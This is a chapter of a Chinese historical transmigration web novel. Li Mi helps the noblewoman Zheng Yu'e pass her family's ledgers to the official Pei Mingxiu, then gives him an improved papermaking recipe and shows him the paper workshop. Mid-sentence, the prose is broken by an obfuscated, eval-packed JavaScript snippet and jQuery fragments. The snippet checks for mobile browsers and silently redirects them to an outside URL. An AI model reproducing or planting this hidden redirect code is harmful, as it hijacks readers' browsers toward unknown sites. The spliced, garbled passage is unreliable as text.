47. 郑玉娥

作品:《古代童养媳的发家日常

    李蜜在自己的新办公室前埋头苦干,黄昏将临时,才揉揉酸痛的肩膀抬起头来。


    她瞅着天色,正准备去食堂吃点饭,就见小蝶送来张洒金拜帖。


    “谁呀?竟如此讲究,还下帖子。”李蜜好奇的挑挑眉接过拜帖。


    小蝶也疑惑的凑过来看,“不知道,塞在咱们家门口,我找了一圈都没瞧见人,神神秘秘的。”


    “故弄玄虚,不会是恶作剧吧。”李蜜一边说着一边打开帖子。


    拜帖很正式,字迹娟秀又有筋骨,比李蜜强出不少。


    敬启者:苍梧郑氏不肖女玉娥,顿首再拜。自腊月梅宴别后,尝于深闺抚蔷薇炭屑而思君。每忆姊台烹雪论香之姿,恍若姑射仙人踏月来,使娥寤寐不忘。


    然家门陡变,兄闭我于东厢,欲以吾女子之躯换的家门重振。今娥厚颜泣血相求,娥知郑氏负姊良多,然此非娥所愿。现冒死托乳娘递帖,酉时三刻叩门。


    若姊肯垂怜,请于院外梅树悬红绸为号;若否,娥当自投沧浪江,以全女子颜面。


    李蜜第一次收到这样郑重的拜帖,也是第一次直视封建社会的残酷。


    尤记得当初不食人间烟火的闺阁少女一袭黄裙,不知烦恼为何物。


    不过短短月余就要历经家庭骤变,甚至要被最亲爱的家人送去哪个大人物府上,换取家里男子的前程。


    李蜜的良心,以及她所受到的教育都不能让她眼睁睁看着这样花朵一般明亮的女孩沉入江底或是埋骨后宅。


    她深深叹口气,交代小蝶,“给家门口的树上绑一小节红布吧。瞧瞧,高门贵女落难,也不想不到咱们这普通百姓家一方红绸也难得呀。”


    小蝶原本沉重的心情被李蜜一瞬逗笑,“可不是,朱门酒肉臭,路有冻死骨嘛。”


    “不得了不得了,小蝶姐姐如今也能拽文了,看来你要不了多久就能去学堂担任个小夫子了,家里这一摊事情,你抓紧找个人替你吧。”李蜜真心觉得小蝶天资聪慧,在家里做个丫头的活计实在是埋没人才。


    小蝶才不理这些话,转身兴冲冲的去找红布了。


    郑玉娥借着月色来到李蜜府上,她裹着一件灰鼠皮斗篷从角门闪进来,发间金钗歪斜也顾不得扶。


    行色匆匆的跟着小蝶往院中走去,深更半夜偷溜出门,这是她此生最大胆的形式,走在路上都能听见自己急促的心跳声。


    小蝶将人引到地龙最旺的东厢房,炭盆上煨着的姜茶咕嘟嘟冒泡。


    郑玉娥一进门就跪倒在地上,“求李姑娘给我条活路!父亲要把我送给户部侍郎当第十八房妾室……”


    李蜜忙上前将人扶起来,“郑小姐这是干什么,快快起来。”


    看着眼前瑟瑟发抖的小姑娘,李蜜心里一软,温声安慰,“姑娘所求恕我无能为力。”


    眼见小姑娘抬起一张梨花带雨的面孔,李蜜忙说道,“不过咱们女儿家在这世上生活原就辛苦,我虽不是什么善人,但也绝对做不到眼睁睁看着你踏进火坑。”


    这句话倒叫郑玉娥羞红了脸,她之前目睹了家人对李蜜的算计,虽然心里不认同,但仍旧选择了作壁上观。


    可如今自己落难,人家却愿意伸手搭救。


    “我不过就是一个小小农女,如今托乡亲们的福侥幸做些生意,赚点银子罢了。郑家、李家这样的大事情我哪里有能力去左右,郑小姐太高看我了。”


    她叹口气继续道,“不过我这里倒是可以帮您给裴大人递一句话,犯案的家属原本应当收监,不过是裴大人仁慈,宽恕两府人在宅子里等候判决罢了,如今你兄长私下串联这事,我相信裴大人定然不会坐视不理。”


    说罢李蜜顿了一瞬,方才接着道,“就看郑小姐如何选择了。”


    郑玉娥一张小脸煞白,但想到临出门前,祖母对她的叮嘱,她咬紧牙关,从怀里取出一份册子:“这是我父亲多年来与本地世家往来的账册,民女将其献给裴大人,盼其早日结案。”


    李蜜心头一颤,“这,你可想好了。”


    郑玉娥轻轻颔首,“唯盼大人能往开一面,给族里孩童一条生路。”说完这句话,她瘫软在地,忍不住伏地痛苦起来。


    李蜜心里感慨,郑家不愧是百年大族,这份断尾求生的魄力就不是一般人能有的,不过她们好似高估了自己在裴大人心中的分量。


    “郑小姐,你之所求,我定会转达,但结果如何却不敢保证。”


    郑玉娥自然知道不能强人所难,如今放手一博,生死难料。她咬牙拭去脸上泪水,极郑重的给李蜜行了一礼,“玉娥谢过姐姐肯施以援手。”


    天色太晚,李蜜不敢让郑玉娥独自上路,留人在家里住了一晚。


    郑玉娥推开窗户。


    月光下,她的脸上满是悲伤。


    奶娘心疼的看着自己养大的小姑娘,柔声安慰“小姐,快休息吧,你要是倒下了,老夫人哪里还能有谁照顾。”


    郑玉娥半晌没有说话,奶娘刚要走开,就听到她低声开口,“同为女子,李蜜当初面临的局面比我如今不差多少,但她却能在短短时间内创下一份基业,我为何不可呢,奶娘,看看外头的景象,我还没到倒下的时候呢。”


    ***


    李蜜这头正在试新制的淋浴装置。


    氤氲水汽里,少女裹着棉布浴袍赤足跑出来,发梢滴落的水珠在青砖上洇出深色痕迹。


    “小蝶姐姐你也去试试,当真舒服,这洗完整个人都爽利了。”


    小蝶气的赶紧拿来厚衣服给她披上,“小祖宗,这天气还冷着呢,怎么穿着一件单一就出来了。”


    李蜜一边擦头发,一边听小蝶在耳边抱怨,恍惚间好似和小助理的身影重合了。


    李蜜甩甩脑袋,把这些不靠谱的念头甩走,靠在炭笼上头烘起了头发,古代真的好麻烦呀,洗头发太痛苦了,又是怀念吹风机的一天,可以这种东西她一个文科生这辈子也造不出来。


    夜风穿过新糊的窗纸,带着后山腊梅的冷香。李蜜望着墙上的那副青林工坊图上星罗棋布的工坊,忽然轻笑:“等开春化冻,该在河边建个水车磨坊了。”


    小蝶早就习惯了李蜜想一出是一出的跳跃思维,递给李蜜一条干帕子,“你呀,别想这些了,快快擦干头发睡觉吧,看看这天色,子时都要过了。”


    李蜜一夜无梦。


    次日清晨,她陪着郑玉娥一起去了趟县里,看着人回府后才调转车头往县衙方向走去。


    裴明修接过李蜜递来的账册,无奈摇头,“这些世绅之家几代经营,最擅钻营取巧。瞧瞧,如今这门路都走到你跟前来了。”


    李蜜知道这事情自己不应该伸手,只好硬着头皮解释,“公子,我不过小小女子,想不到这些门门道道,只是想着罪不及妇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138466|160179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孺,她们被圈养在后宅,前头男人们如何行事她们如何得知呢。”


    裴明修沉吟片刻道,“新皇登基不久,他一向不喜旧朝的血腥暴政,一般案件少有祸及妇孺三代的。只是这次的事情不太一样,牵扯甚广,在最终判决没出来前,你不要再插手。郑家我会着人严加看守,事到如今可由不得他们再蹦跶。”


    李蜜得了最后这句承诺,终于放下心来。


    裴大人帮了她这么多次,她也不能太小气。


    将随身带着的匣子放到裴明修案上,斟酌片刻才开口道,“以大人的聪慧,在坊里住的这段时日,应当发现我们用的纸与别处不同。”


    裴明修了然,打开匣子后只见里头叠放着一沓润如珍珠的白纸,色泽、质感完全不输贡品。此刻他才正色起来。


    “这仿佛比我看到的好了许多,是改良了配方吗?”


    “大人英明呀,您手里拿的正是最终改良后的版本,如何?可能如您的眼?”李蜜稍显谄媚的恭维。


    “这般品质要是还不能入我的眼,只能是我有眼无珠罢了,所以你这是何意?”


    “民女拿着这造纸秘方,犹如三岁小儿抱金过闹事,与国于民毫无用处。所以我想将此方献给大人,好歹让楮纸得以面世,造福于民呀。”李蜜瞪着眼睛,努力让自己看起来诚恳又无害。


    “行吧,那我就却之不恭了。”裴明修起身往屋外走去。


    李蜜内心腹诽,这古代人的脸皮可真厚,收礼收的心安理得,推辞客气一下都没有。“您去哪呀?”


    “去你的纸坊看看,哦,你瞧我这脑子,是去我的纸坊瞅瞅去。跟上。”裴明修笑的好不得意。


    李蜜在后头倒腾着短腿,苦哈哈的跟着。


    如今天色渐暖,纸坊后山的构树刚冒出嫩芽,李蜜带着晒好的楮树皮引着裴明修钻进暗室。


    七口陶缸沿墙排列,分别浸泡着添加艾草、朱槿等原料的纸浆。


    最里间的青石台上,整张改良楮纸在阳光中泛着珍珠色。


    “您瞧,这是最新改良的第三版。”她将纸张浸入山泉水,“我们测试过了,比如今市面上的官纸耐折二十次,墨迹遇潮也不晕。”


    水珠顺着纸面滚落,裴明修伸手要接,却见少女突然将纸张揉作一团。


    哗啦——


    展开的纸团上竟无半点裂痕,这纸的延展性果然不错。


    “确实不错,这纸坊我要扩大三倍。”裴明修指尖碾过纸面上的折痕,“李姑娘,你可不要后悔,这着实是一只能生金蛋的鸡,比你手里头任何一个项目都要赚钱。”


    看着李蜜一脸无所谓的模样,他忍不住挑明,“你知道光是长安书院一年的用纸量,就抵得上整个益州城的商业税收吗。”


    李蜜默默看了他一眼,指着远处十二架新制的水力打浆机道,“您瞧,我大伯今日刚给机子刷了桐油,等河道上游的堤坝夯实了我就能试车,到时候十里八乡的人估摸着都得来这里磨面了。”


    裴明修晃了晃神,半晌才开口道,“你小小年纪,倒是想的明白。”


    “可不是,再多的银子也要有命花呀,我在这山脚下,经营我的小日子就很满足了。”


    “成吧,我也不是个贪得无厌的,纸坊每年抽两成利给你。”说罢他便拜拜袖子转身离开了。


    李蜜心里感叹,裴公子还真是好官呀。